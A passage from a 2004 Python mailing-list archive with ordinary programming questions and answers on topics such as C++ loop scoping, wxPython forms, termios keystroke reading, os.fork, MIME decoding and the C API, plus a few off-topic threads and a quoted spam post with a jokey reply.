system. However, there *is* a TCP implementation (typically the operating system) on the other end that tells you port 25 is not being listened to. Regards, Martin From bokr at oz.net Thu Sep 23 17:41:03 2004 From: bokr at oz.net (Bengt Richter) Date: 23 Sep 2004 21:41:03 GMT Subject: Unexpected result. References: <Pine.LNX.4.44.0409231312490.8517-100000@e5-05.ee.ualberta.ca> <sMudnfJId4X_vM7cRVn-hg@comcast.com> <cive26$5p0$0$216.39.172.122@theriver.com> Message-ID: <civftf$95k$0$216.39.172.122@theriver.com> On 23 Sep 2004 21:09:26 GMT, bokr at oz.net (Bengt Richter) wrote: >On Thu, 23 Sep 2004 14:18:01 -0500, "Larry Bates" <lbates at swamisoft.com> wrote: > >>Actually the result is exactly as expected. >>Programming 101 teaches us not to reuse >>loop variables in nested loops. >> > >[14:07] C:\pywk\clp>type p101.cpp >#include <cstdio> >void main(){ > char abc[]="abc"; > for(int i=0;i<3;++i){ > printf("%c ", abc[i]); > for(int i=0;i<3;++i) printf("%d ", i); > } >} > > >[14:07] C:\pywk\clp>cl p101.cpp >Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86 >Copyright (C) Microsoft Corp 1984-1998. All rights reserved. > >p101.cpp >Microsoft (R) Incremental Linker Version 6.00.8168 >Copyright (C) Microsoft Corp 1992-1998. All rights reserved. > >/out:p101.exe >p101.obj > >[14:07] C:\pywk\clp>p101 >a 0 1 2 b 0 1 2 c 0 1 2 > >;-) > >Regards, >Bengt Richter Oops, I gave too much credit to M$ ;-/ Reordering the above as below, it gives [14:24] C:\pywk\clp>cl/nologo p101.cpp p101.cpp [14:38] C:\pywk\clp>p101 0 1 2 0 1 2 0 1 2 vs g++ from mingw using msys shell: [14:35] /c/pywk/clp>cat -n p101.cpp 1 #include <cstdio> 2 int main(){ 3 char abc[]="abc"; 4 for(int i=0;i<3;++i){ 5 for(int i=0;i<3;++i) printf("%d ", i); 6 printf("%c ", abc[i]); 7 } 8 return 0; 9 } 10 [14:35] /c/pywk/clp>g++ p101.cpp -o p101a.exe p101.cpp: In function `int main()': p101.cpp:6: warning: name lookup of `i' changed p101.cpp:4: warning: matches this `i' under ISO standard rules p101.cpp:5: warning: matches this `i' under old rules [14:35] /c/pywk/clp>p101a 0 1 2 a 0 1 2 b 0 1 2 c [14:36] /c/pywk/clp> [14:36] /c/pywk/clp> Regards, Bengt Richter From pfeiffer at cs.nmsu.edu Sat Sep 4 15:25:41 2004 From: pfeiffer at cs.nmsu.edu (Joe Pfeiffer) Date: 04 Sep 2004 13:25:41 -0600 Subject: Xah Lee's Unixism References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net> <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com> <P5GdnU8q-8Sw66rcRVn-qg@powergate.ca> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <ur7pks59p.fsf@mail.comcast.net> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <Os7_c.113460$Fg5.65632@attbi_s53> <1094257487.855439@teapot.planet.gong> <qs9_c.235307$8_6.157753@attbi_s04> <1094285694.404322@teapot.planet.gong> <irl_c.67482$jZ5.60995@clgrps13> Message-ID: <1bpt51alai.fsf@cs.nmsu.edu> > "Rupert Pigott" <roo at try-removing-this.darkboong.demon.co.uk> wrote in > message news:1094285694.404322 at teapot.planet.gong... > > > Consider this : If the tables were turned and an Aerojet booster > > exploded in the sky I'll bet the armchair QBs would be asking why > > were Aerojet chosen over Morton-Thiokol who had more experience of > > building large solid-fuel rockets. However, it would certainly not have failed at the segment joints. The more I read sci.space.tech the more convinced I am that the whole shuttle concept was fundamentally flawed from the beginning. Putting the orbiter next to (rather than on top of) the huge tank of high explosive is not a good idea. Reentry from orbit is not the same as flying an airplane; ablative heat shields work and work well. -- Joseph J. Pfeiffer, Jr., Ph.D. Phone -- (505) 646-1605 Department of Computer Science FAX -- (505) 646-1002 New Mexico State University http://www.cs.nmsu.edu/~pfeiffer From sbabbitt at commspeed.net Mon Sep 13 02:22:00 2004 From: sbabbitt at commspeed.net (Tom B.) Date: Sun, 12 Sep 2004 23:22:00 -0700 Subject: ANN:A wxHtmlWindow forms implementation. Message-ID: <1095057128.250036@news.commspeed.net> It consists of a pre-filter, http://users.commspeed.net/tbabbitt/tom2/HTMLparse.py usage: import HTMLparse,urllib2 TomFilter = HTMLparse.TomFilter() webtext = urllib2.urlopen('http://www.yahoo.com') formtxt = TomFilter.formfilter(webtext,'http://www.yahoo.com') # after feeding imagelist = TomFilter.imagelist linklist = TomFilter.linklist scripttext = TomFilter.scripttext linktextlist = TomFilter.linktextlist background = TomFilter.background backgroundcolor = TomFilter.backgroundcolor The parser, completes URL's, changes form tags to custom wxControl tags and mangles frames into rows of tables. (note encoding('utf_8','ignore'). The next part is a custom module for web controls. http://users.commspeed.net/tbabbitt/tom2/webwig.py The controls post there events to a custom event and are available as a class called WebEvent. (Note Radio buttons are implemented as check boxes so you have to uncheck at the event end.) The only thing left to be done is to link the events to the program running the wx.html window. import wx import wx.html as html import wx.lib.wxpTag import webwig def __init__(self): ....self.Bind(webwig.EVT_UPDATE_WEBFORM,self.OnPyEvent) ....self.WebObjects = {} def OnPyEvent(self, event): ....self.WebEvent = event.GetVal() ....if self.WebEvent.Typ[:4] == 'int_': ........self.WebObjects[self.WebEvent.Id] = self.WebEvent ........self.WebObjects[self.WebEvent.Id].Typ = self.WebObjects[self.WebEvent.Id].Typ[4:] ....else: ........self.WebObjects[self.WebEvent.Id] = self.WebEvent This gives you a WebEvent object and dictionary of all web objects on page. WebEvent objects have the following properties, self.WebEvent.Name # the control name self.WebEvent.Value # the control value self.WebEvent.WebValue # in the form u'&%s="%s"' % (Name ,Value ) self.WebEvent.URL # the full URL self.WebEvent.FormData # the full Form data in dictionary self.WebEvent.Data # extra data from select and data from hidden, in form 'action'|'http://'|'method'|'POST' ect. self.WebEvent.Id #the controll Id self.WebEvent.Win # the control itself Here is code for the Demo (love the new demo). http://users.commspeed.net/tbabbitt/tom2/demowebwig.py I have also written a program to display its features it requires, PIL , http://www.pythonware.com/products/pil/ image_view (ScrolledWindow PIL viewer) http://users.commspeed.net/tbabbitt/tom/image_view.py the Browser http://users.commspeed.net/tbabbitt/tom2/TomBrowse.py Inspired by the demo it separates the web page components into notebook pages and runs the Content of a STC through the above event. Errors are displayed on a log page. I know how much people have wanted something like this so I just want to get the code out there. The tag handler complains on pages with hidden tags but I can find nothing wrong with my tag syntax. There is an unhanded exception when I use the SetPage from the event definition but when the page is saved it loads back ok so I probably need to destroy the web objects on the event end. Enjoy, Tom Babbitt From sbabbitt at commspeed.net Mon Sep 13 14:56:12 2004 From: sbabbitt at commspeed.net (Tom B.) Date: Mon, 13 Sep 2004 11:56:12 -0700 Subject: ANN:A wxHtmlWindow forms implementation. References: <1095057128.250036@news.commspeed.net> <mailman.3244.1095095969.5135.python-list@python.org> Message-ID: <1095104520.249408@news.commspeed.net> "Carlos Ribeiro" <carribeiro at gmail.com> wrote in message news:mailman.3244.1095095969.5135.python-list at python.org... > Tom, > > I've downloaded your code but wasn't able to run the demo. It stops > with a "no module named Main" exception. In fact, no such module is > mentioned in your message. > > BTW, it would be useful if you added a small description to your > package announcement -- what it does, what is it useful for, etc. I'm > checking it out of curiosity, but I admit that I don't know exactly > what to expect. > > Best regards, > > I misunderstood your reply and I apologize if my reply was an insult to your intelligence. The demo code is a demo but it is for the wxPython demo program, have a look at the demo code in the 'wxHtmlWindow' subsection of the 'more Windows/Controls section and compare the code to my demo code. Tom From abra9823 at mail.usyd.edu.au Thu Sep 9 05:30:01 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Thu, 9 Sep 2004 19:30:01 +1000 Subject: xpath and python In-Reply-To: <chp6lo$qr6$1@ucsnew1.ncl.ac.uk> References: <chp6lo$qr6$1@ucsnew1.ncl.ac.uk> Message-ID: <1094722201.41402299ad2b9@www-mail.usyd.edu.au> hi! PyXML -> xpath module similar module in 4Suite cheers Quoting C Gillespie <csgcsg39 at hotmail.com>: > Dear All, > > Does anyone know if there is a python library that accepts xpath > constructs? > > Thanks for any help > > Colin > > > -- > http://mail.python.org/mailman/listinfo/python-list > ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From aquila_deus at yahoo.co.uk Sat Sep 4 17:03:21 2004 From: aquila_deus at yahoo.co.uk (Aquila Deus) Date: 4 Sep 2004 14:03:21 -0700 Subject: 2 different Python distributions on same Windows box? References: <1ua_c.794$Gi5.373@trndny05> Message-ID: <c5cfac8f.0409041303.243b37ee@posting.google.com> David Lees <abcdebl2nonspammy at verizon.net> wrote in message news:<1ua_c.794$Gi5.373 at trndny05>... > I currently have PythonWin 2.3.4 on my Windows 2000 box, but would like > to try the Enthougt 2.2.3 distribution. Are there any tricks to making > these 2 distributions co-exist? Are there any potential problems? Registry keys may be overrided. Bad things may happen when you install python packages using setup program. From gerrit at nl.linux.org Sat Sep 18 07:53:10 2004 From: gerrit at nl.linux.org (Gerrit) Date: Sat, 18 Sep 2004 13:53:10 +0200 Subject: Newbie : Round shaped button for wxPython In-Reply-To: <cig0t8$chh$1@news.Stanford.EDU> References: <cig0t8$chh$1@news.Stanford.EDU> Message-ID: <20040918115310.GA22546@nl.linux.org> Hi Oh Kyu Yoon, Oh Kyu Yoon wrote: > Subject: Newbie : Round shaped button for wxPython > Date: Sat, 18 Sep 2004 02:56:33 +0200 (CEST) > > How do you make a round shaped button in wxPython? > Thanks. I don't know. But you may want to ask it at the wxPython mailing list: http://www.wxpython.org/maillist.php It's probably that there is more expertise on the subject there than there is here. yours, Gerrit. -- Weather in Twenthe, Netherlands 18/09 13:25: 21.0?C wind 7.2 m/s SSW (57 m above NAP) -- Gerrit Holl - 2nd year student of Applied Physics, Twente University, NL. Experiences with Asperger's Syndrome: EN http://topjaklont.student.utwente.nl/english/ NL http://topjaklont.student.utwente.nl/ From donald.welch at hp.com Tue Sep 21 13:50:59 2004 From: donald.welch at hp.com (djw) Date: Tue, 21 Sep 2004 10:50:59 -0700 Subject: new python book!! References: <mailman.3579.1095699964.5135.python-list@python.org> Message-ID: <41506aca@usenet01.boi.hp.com> vegetax vegetax wrote: > > Well , this looks like a very very interesting book , > i am definitly going to buy it : > http://www.apress.com/book/bookDisplay.html?bID=363 > > I think we need more updated python books, most of > them are from version 2.1 or 2.2 , if you have some > other book covering python 2.3, post the link here. > > __________________________________________________ > Do You Yahoo!? > Tired of spam? Yahoo! Mail has the best spam protection around > http://mail.yahoo.com "To guide readers through the new scripting language, Python, this book discusses every aspect of client and server programming." New? Since when is Python new? (well, maybe 10 years ago or so). -Don From spam at nimblegen.com Fri Sep 10 10:10:13 2004 From: spam at nimblegen.com (Chuck Dillon) Date: Fri, 10 Sep 2004 09:10:13 -0500 Subject: Xah Lee's Unixism In-Reply-To: <41409A6B.E618952C@yahoo.com> References: <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com> <P5GdnU8q-8Sw66rcRVn-qg@powergate.ca> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <ur7pks59p.fsf@mail.comcast.net> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <u8ybrrzqd.fsf@mail.comcast.net> <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com> <uzn47qezk.fsf@mail.comcast.net> <rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com> <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net> <10juvnrt88k4868@corp.supernews.com> <chpkm2$3h2$1@grandcanyon.binc.net> <41409A6B.E618952C@yahoo.com> Message-ID: <chschh$q5n$1@grandcanyon.binc.net> CBFalconer wrote: > Chuck Dillon wrote: > > ... snip ... > >>It's easy to say we *don't* need but not so easy to demonstrate. >>You don't even offer a hand wave attempt at articulating an >>alternative. In the political world everything is subject to >>debate. Taking the war to the middle east, increasing policing >>powers, increasing intelligence capabilities... But in the real >>world there is a huge threat and action must be taken. > > > Must it? I am not claiming that it must not, but that the matter > deserves more thought than a panic reaction. The very first thing > to settle should be the objectives. Then the means and costs of > achieving such can be considered. > Your choice to charactize things in terms like "panic reaction" doesn't make it so. If their was a rush to act by a pseudo-democratic government it is because the "loyal opposition" chooses to act in concert with the majority party. There was virtually no resistance from the Democrat side when debating the effective declaration of war on Iraq nor the Patriot Act. If you got the impression of panic it comes from the bipartisan nature of the actions taken. -- ced -- Chuck Dillon Senior Software Engineer NimbleGen Systems Inc. From rhoder at worldpath.net Fri Sep 17 03:04:47 2004 From: rhoder at worldpath.net (Derek Rhodes) Date: Fri, 17 Sep 2004 03:04:47 -0400 Subject: Recursive function not returning value Message-ID: <10kl34qereo06ac@corp.supernews.com> using Python 2.3.4 (#53, May 25 2004, 21:17:02) [MSC v.1200 32 bit (Intel)] on win32 OK, I have a recursive function that should return a list, but doesn't <start session> def test(word): if type(word) == str: print "it's a word" test([word]) if type(word) == list: print "The conditional worked, see ->", word return word >>>a = test('foobity') it's a word The conditional worked, see -> ['foobity'] >>> print a None </end session> What am I missing? -derek. From alanmk at hotmail.com Tue Sep 14 07:35:37 2004 From: alanmk at hotmail.com (Alan Kennedy) Date: Tue, 14 Sep 2004 12:35:37 +0100 Subject: Greenlets: where are they now??? In-Reply-To: <4edc17eb.0409132016.78efa46d@posting.google.com> References: <foadnUs_VtNpFdncRVn-jQ@lmi.net> <m37jqybc1m.fsf@pc150.maths.bris.ac.uk> <4edc17eb.0409132016.78efa46d@posting.google.com> Message-ID: <6DA1d.27555$Z14.9491@news.indigo.ie> [Michael Hudson] >>"It is tough to make predictions, especially about the future." >> -- Yogi Berra [Michele Simionato] > I think I saw this attributed to Nils Bohr. Can somebody check? Or was it Enrico Fermi? Winston Churchill? Vint Cerf? Groucho Marx? http://www.larry.denenberg.com/predictions.html regards, -- alan kennedy ------------------------------------------------------ email alan: http://xhaus.com/contact/alan From abkhd at earth.co.jp Wed Sep 22 18:15:55 2004 From: abkhd at earth.co.jp (A. B., Khalid) Date: 22 Sep 2004 15:15:55 -0700 Subject: Fixed: pyMinGW patched Python compiles in MinGW & passes regrtests References: <8ad8ad0a.0409200909.545f257@posting.google.com> <ufz5clka2.fsf@yahoo.co.uk> Message-ID: <8ad8ad0a.0409221415.3d328fc3@posting.google.com> Paul Moore <pf_moore at yahoo.co.uk> wrote in message news:<ufz5clka2.fsf at yahoo.co.uk>... > abkhd at earth.co.jp (A. B., Khalid) writes: > > > This is to inform those interested in getting Python to compile in > > MinGW that the pyMinGW patch is now able to help compile both Python > > 2.3.4 Final and Python 2.4a3 and the resulting MinGW Python passes the > > regrtests as follows. > > Cool! It would be nice if this could be made into a patch to core > python, so that the main sources support a mingw build. > > Paul. Hello Paul. Sorry for the delay. Yes, it would be, wouldn't it? If you were addressing me there, as opposed to the general audience of c.l.py or the core-developers of Python, then allow me to say that in principal I have no problem with pyMinGW making it to Python's core, provided of course that a copyright notice appears somewhere (at least in the makefiles). This I think would not be a problem. After all, and from what I have seen of Python's source, there is a good habit of including copyright notices of contributing authors to Python in the works they authored. I must confess that aside from me being totally unfamiliar with the process of officially patching Python, the major hurdle appears to me, in addition to that, in whether the patch was tested enough, or by enough people, so as to earn itself a place in the core- that of course if it will be allowed a place there to start with. Have you tried it out? Please do if you still didn't have the chance. I might be mistaken, but I think that testing should come first. After all there is nothing urgent here, or is there? When people find that it really works, they will call for it to be included in Python's source. In the meantime, pyMinGW is there for those who need it, and being a third-party patch should not be a reason to scare people away from using it, especially since it gets the job done. With that said, I am open to any thoughts on this from your esteemed person or from anyone else. Best regards Khalid From agriff at tin.it Sun Sep 26 03:37:18 2004 From: agriff at tin.it (Andrea Griffini) Date: Sun, 26 Sep 2004 07:37:18 GMT Subject: Unexpected Python Behavior References: <4e4a11f8.0409232355.6ba0468d@posting.google.com> <mailman.3834.1096015522.5135.python-list@python.org> <RImdnbz2hMm7v8ncRVn-qg@lmi.net> <cj18jn$47n$1@pegasus.csx.cam.ac.uk> Message-ID: <2srcl0poenac7hl39gmbmgvj4e0sp6fp38@4ax.com> On Fri, 24 Sep 2004 14:48:37 +0100, Michael Hoffman <m.h.3.9.1.without.dots.at.cam.ac.uk at example.com> wrote: >I think you're missing the usefulness of this feature. Go back to the >link you included and read the next paragraph, "This feature can be useful." Given that now functions can have attributes, wouldn't be better stop pushing ugly, risky and cryptic syntax for poor's man static ? IMO one thing is backward compatibility, another is pushing the uglyness in the future for no good reasons. I am talking about the python docs that everywhere are apparently advocating this approach for local cache implementation. Is this doing any good for newbies approaching python ? Or may be this is more pythonic ? If yes... why ? Andrea From indigo at bitglue.com Sun Sep 26 13:07:46 2004 From: indigo at bitglue.com (Phil Frost) Date: Sun, 26 Sep 2004 13:07:46 -0400 Subject: Blender! In-Reply-To: <10ldkhbkmilivc7@corp.supernews.com> References: <Jyv5d.8761$N45.227281@twister2.libero.it> <mailman.3931.1096206442.5135.python-list@python.org> <10ldkhbkmilivc7@corp.supernews.com> Message-ID: <20040926170746.GA27332@unununium.org> Well, I was close! :D They all sound like weird spanish to me anyway. On Sun, Sep 26, 2004 at 07:28:59AM -0700, Jeffrey Froman wrote: > Phil Frost wrote: > > > Hopefully I got that right. I can't solve your problem, but I did find > > some forums in portuguese that might address your problem. > > But isn't the OP in Italian? From bokr at oz.net Sat Sep 4 13:25:51 2004 From: bokr at oz.net (Bengt Richter) Date: 4 Sep 2004 17:25:51 GMT Subject: YOU ALL SUCK! References: <1bf5bcb9.15695836@aol.com> <Xns9558DF032E46ebohlmanomsdevcom@130.133.1.4> Message-ID: <chctqv$e50$0$216.39.172.122@theriver.com> On 2 Sep 2004 06:17:05 GMT, Eric Bohlman <ebohlman at omsdev.com> wrote: >"Amanita, Love Ewe" <ladyamanita at aol.com> wrote in >news:1bf5bcb9.15695836 at aol.com: > >> Sharon expects the printer within hers and actually looks. Why will >> you grasp the ugly worthwhile onions before Satam does? Many proud >> cats over the abysmal planet were loving against the tired bathroom. > >This seems to be of somewhat better quality than the output of the typical >random-text generator. Can anyone suggest something on CPAN useful for >such? Clearly, the speaker-hearer's linguistic intuition suffices to account for the levels of acceptability from fairly high (e.g. (99a)) to virtual gibberish (e.g. (98d)). Presumably, the fundamental error of regarding functional notions as categorial is not subject to an important distinction in language use. For any transformation which is sufficiently diversified in application to be of any interest, any associated supporting element is necessary to impose an interpretation on the ultimate standard that determines the accuracy of any proposed grammar. If the position of the trace in (99c) were only relatively inaccessible to movement, most of the methodological work in modern linguistics does not readily tolerate a general convention regarding the forms of the grammar. Nevertheless, any associated supporting element appears to correlate rather closely with a parasitic gap construction. Suppose, for instance, that an important property of these three types of EC does not readily tolerate the strong generative capacity of the theory. Comparing these examples with their parasitic gap counterparts in (96) and (97), we see that this selectionally introduced contextual feature is to be regarded as the traditional practice of grammarians. By combining adjunctions and certain deformations, a descriptively adequate grammar does not readily tolerate a descriptive fact. It must be emphasized, once again, that this selectionally introduced contextual feature delimits an important distinction in language use. Regards, Bengt Richter From project5 at redrival.net Wed Sep 1 14:10:02 2004 From: project5 at redrival.net (Andrei) Date: Wed, 1 Sep 2004 20:10:02 +0200 Subject: GUI Designer References: <wU0Zc.9845$7i2.529166@news20.bellglobal.com> Message-ID: <z9zkklsi07af$.9igezhwp6s2p$.dlg@40tude.net> A.M wrote on Tue, 31 Aug 2004 11:37:14 -0400: > Do we have any OpenSource GUI designer for Python ? Not yet mentioned: wxGlade (wxglade.sourceforge.net). Also for wxPython. -- Yours, Andrei ===== Real contact info (decode with rot13): cebwrpg5 at jnanqbb.ay. Fcnz-serr! Cyrnfr qb abg hfr va choyvp cbfgf. V ernq gur yvfg, fb gurer'f ab arrq gb PP. From luka.milkovic at public.srce.hr Mon Sep 13 11:55:14 2004 From: luka.milkovic at public.srce.hr (Luka Milkovic) Date: Mon, 13 Sep 2004 17:55:14 +0200 Subject: Mail extraction problem (something's wrong with split methods) References: <pan.2004.09.11.16.21.15.772439@public.srce.hr> <mailman.3228.1095078779.5135.python-list@python.org> Message-ID: <pan.2004.09.13.15.55.13.568092@public.srce.hr> On Mon, 13 Sep 2004 07:32:47 -0500, Jeff Epler wrote: > In either case, you perform the reverse steps on the reassembled message > on the other end: > import email.Parser > decoded_message = email.Parser.Parser().parsestr(message) > decoded_message.get_type() # must be application/x-luka-milkovic > # or this is not a message from your > # program > bytes = decoded_message.get_payload().decode("base64") > # now pickle.loads or struct.unpack the bytes > > Jeff Hi Jeff, thanks for the info about SMTP protocol, I knew I was doing something wrong, and now I know what exactly went wrong. I was thinking about encoding, but at the time of the development of the sending part, I decided to postpone it, and that seems to be a big mistake. But, you mentioned MIME types and the methods of creating MIME mails. I was always afraid of MIME because I don't understand it well (though I've read documentation). I did what you told me to do about sending e-mail, and it works fine. But when it comes to decoding the mail, I have some problems. I connect to my POP3 server and download my MIME e-mail (using command pop.retr()) and save it to a file tempMail.dat. I don't know what to do next, I tried with the parser but it doesn't work. My code looks like the one you've given above. print bytes command returns nothing, a blank line... I don't know what to do, please help. Thank you very much. From erik at heneryd.com Mon Sep 13 17:17:26 2004 From: erik at heneryd.com (Erik Heneryd) Date: Mon, 13 Sep 2004 23:17:26 +0200 Subject: os.fork() question? In-Reply-To: <938a4680.0409131305.2516b461@posting.google.com> References: <938a4680.0409131305.2516b461@posting.google.com> Message-ID: <41460E66.9070600@heneryd.com> Ishwar Rattan wrote: > Info at http://doc.python.org/ on os.fork() says that > it has 'unix' semantics (on a UNIX box) on return values > child pid in parent, 0 in child, no mention of failure? > > So, what does it return on failure? I tried it under Linux > with Python-2.3.4, after few thousand forks the system just hangs! > (does not return/report fork failure) It raises OSError. Erik From jeffrey at fro.man Thu Sep 16 00:20:03 2004 From: jeffrey at fro.man (Jeffrey Froman) Date: Wed, 15 Sep 2004 21:20:03 -0700 Subject: Incrementing a string References: <pan.2004.09.15.22.08.19.894702@cox.net> Message-ID: <10ki53nd4vgfpff@corp.supernews.com> John Velman wrote: > $label++; > > This conveniently steps through the alphabet, then goes on to aa, ab,ac, > ... > > In Python I can get from a to z with a generator as so: [snip] > But it looks like going beyond z to aa and so on is (relatively) > complicated. Here's one way, perhaps it is simple enough for you: import string def strpp(s): for i in s: yield i for i in strpp(s): for j in s: yield i + j labels = strpp(string.lowercase) label = label.next() # ad infinitum Hope you enjoy Python, Jeffrey From ThisIsNotMyReal at ddress.com Wed Sep 22 20:15:22 2004 From: ThisIsNotMyReal at ddress.com (Brian) Date: Thu, 23 Sep 2004 00:15:22 GMT Subject: Check for keystroke References: <Xns956C6558D1D9Anonenonecom@24.93.43.121> <slrncl3upc.b6e.lee@bad-bart.lcp.nrl.navy.mil> Message-ID: <Xns956CC7408DB48nonenonecom@24.93.43.119> It took a little bit of coaxing, but I finally got it to run. Unfortunately, it still pauses while waiting for a keystroke. Am I missing something? Fixed code: import termios, sys, os fd = sys.stdin.fileno() old = termios.tcgetattr(fd) # Old term info for restoration later new = termios.tcgetattr(fd) new[3] = new[3] & ~termios.ICANON & ~termios.ECHO new[6][termios.VMIN] = 1 new[6][termios.VTIME] = 0 termios.tcsetattr(fd, termios.TCSANOW, new) while 1: try: command = os.read(fd, 1) print command+">", #Echo manually if command == 'p': termios.tcsetattr(fd, termios.TCSADRAIN, old) #Terminal back to line mode break finally: termios.tcsetattr(fd, termios.TCSAFLUSH, old) Lee Phillips <lee at leeHYPHENphillips.org.invalid> wrote in news:slrncl3upc.b6e.lee at bad-bart.lcp.nrl.navy.mil: > import termios > # in your method: > old = termios.tcgetattr(fd) # Old term info for restoration > later new = termios.tcgetattr(fd) > new[3] = new[3] & ~termios.ICANON & ~termios.ECHO > new[6][termios.VMIN] = 1 > new[6][termios.VTIME] = 0 > termios.tcsetattr(fd, termios.TCSANOW, new) > > while 1: > try: > command = os.read(fd, 1) > print command+">", #Echo manually > if command == '0': > termios.tcsetattr(fd, termios.TCSADRAIN, old) > #Terminal back to line mode > break > elif command == 'b': > # do something.... > # and so on..... > finally: > termios.tcsetattr(fd, termios.TCSAFLUSH, old) > From steve at holdenweb.com Sun Sep 26 13:23:54 2004 From: steve at holdenweb.com (Steve Holden) Date: Sun, 26 Sep 2004 13:23:54 -0400 Subject: Don't let your babies grow up to be programmers In-Reply-To: <qs6cl0lblbh6u72suddbdnuid6vgu8v50u@4ax.com> References: <1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com> <IWf2d.33080$D7.2368@news-server.bigpond.net.au> <1gk7oh4.1lgmrxo1pjcaw5N%aleaxit@yahoo.com> <cicm3q$a6g$1@sea.gmane.org> <1095378815.31957.166.camel@devilbox.devilnet.internal> <cio5gu$2nk$1@sea.gmane.org> <mailman.3701.1095836355.5135.python-list@python.org> <rp0b22-l8g.ln1@lairds.us> <278de0e.0409231337.1a032135@posting.google.com> <ddd9l056mf2ag7m97uhk6pc10h5m93fnrl@4ax.com> <1gknx0k.m09llxutwktbN%aleaxit@yahoo.com> <qs6cl0lblbh6u72suddbdnuid6vgu8v50u@4ax.com> Message-ID: <h_C5d.236647$4o.113794@fed1read01> Arthur wrote: [...] > > And the impact of the the energy of this brew is then labeled a new > imperialism. > Well, it's probably something to do with the way that arms are used to promote the economic imperative when monetary incentives fail. regards St=eve From ramkrs80 at yahoo.com Mon Sep 27 07:39:27 2004 From: ramkrs80 at yahoo.com (Karthik J) Date: Mon, 27 Sep 2004 04:39:27 -0700 (PDT) Subject: Query regarding GUI development using python Message-ID: <20040927113927.24508.qmail@web51901.mail.yahoo.com> Hi , I am currently executing a project which needs Python for GUI development which should be platform independent. 1. My main development platform for the GUI will be the IRIX OS and unix flavour. 2. The GUI will be running on the host PC which in turn will be connected with the target work station (Which can be any OS (of Unix flavour) or Windows) 3. Also mention any particular links for the guidelines for GUI development using Python. 4. How to pass the details through GUI (on the HOST) to the targer Workstation ? LAN programming !!! or Socket Programming !! (In the case of socket programming , will the Apis be common for the unix and windows target platform). Thanks for your cooperation in advance. Regards Karthik Iyer --------------------------------- Do you Yahoo!? vote.yahoo.com - Register online to vote today! -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20040927/25fb96bf/attachment.html> From barry at python.org Sun Sep 5 11:28:09 2004 From: barry at python.org (Barry Warsaw) Date: Sun, 05 Sep 2004 11:28:09 -0400 Subject: [Python-Dev] Alternative placeholder delimiters for PEP 292 In-Reply-To: <59e9fd3a0409041520114d0604@mail.gmail.com> References: <59e9fd3a040829231141cd3fe4@mail.gmail.com> <1094315616.8721.44.camel@geddy.wooz.org> <59e9fd3a0409041520114d0604@mail.gmail.com> Message-ID: <1094398089.8144.39.camel@geddy.wooz.org> On Sat, 2004-09-04 at 18:20, Andrew Durdin wrote: > > The PEP 292 rules were specifically chosen for their similarity to > > placeholder syntaxes in many other languages. > > Sure. But just because many other languages do it that way doesn't > mean that it's the best way for Python. There are significant > advantages to using paired delimiters instead of a single prefix > delimiter. > > The "Rationale" section of PEP 292 says only that the desire was for > something simpler than the built-in % substitution; if the similarity > to many other languages is also an important part of the rationale, > then the PEP should be modified to take that into account, should it > not? It's explained in the section of the PEP titled "Why $ and Braces?". -Barry -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 316 bytes Desc: This is a digitally signed message part URL: <http://mail.python.org/pipermail/python-list/attachments/20040905/276e8fed/attachment.sig> From pythonjob at op.pl Wed Sep 1 08:16:33 2004 From: pythonjob at op.pl (KK) Date: Wed, 1 Sep 2004 14:16:33 +0200 Subject: zope+listFilteredActionsFor Message-ID: <ch4eeb$38a$1@atlantis.news.tpi.pl> Hallo, I have the problem. Zope 2.7.0, Plone-2.0.3, Linux I list actions from portal_actions actions python: here.portal_actions.listFilteredActionsFor(here) I recive a list with actions. Depending on kind of logged user I recive that list in diffrent count. I mean that when I'm Manager the list is bigger than I'm SiteManager. I suppose that it depends on permissions. Where I can set it? I would like to recive the same list being Manager and SiteManage as well. Thanks in advance KK From aleaxit at yahoo.com Wed Sep 22 17:47:11 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 23:47:11 +0200 Subject: Python lists ans sequence protocol from C API References: <cirskl$3kr$1@planja.arnes.si> Message-ID: <1gkjfm7.wrjgtylgweyeN%aleaxit@yahoo.com> Matjaz <surfmatj at email.si> wrote: ... > PySequence_SetItem with the following error message: > "Unhandled exception at 0x1e04ed1a in python.exe: > 0xC0000005: Access violation reading location 0x00000000." > Could it be that basic lists do not support sequence protocol? Once they're valid Python list objects, they do... > Or am I missing something? I'm using Python 2.3.4 on Windows XP. You're missing the fact that you're never building a valid Python list object in your code. The slots, as PyObject*, are 'random', probably null pointers. That's why you're supposed to use PyList_SET_ITEM specifically to initialize these 'slots' WITHOUT trying to decref the previously held item... there IS no 'previously held item'...! > PyObject *argseq, *ov; > int i, v, len; > > len = 2; > argseq = PyList_New(len); This does NOT initialize the slots of list argseq, as above explained. > for (i=0; i<len; i++) { > ov = PyInt_FromLong(i); > printf("Index %d. Success %d.\n", i, PySequence_SetItem(argseq, i, ov)); > } But this does try to decref that null pointer (or whatever), so, BOOM. > Why would I wish to use sequence with basic lists protocol? Because my > code should also deal with other sequence types, possibly subclassed from > python lists. Nevertheless they'll need to be properly built, inizialized, first. Add initialization, such as an immediate: for (i=0; i<len; i++) { 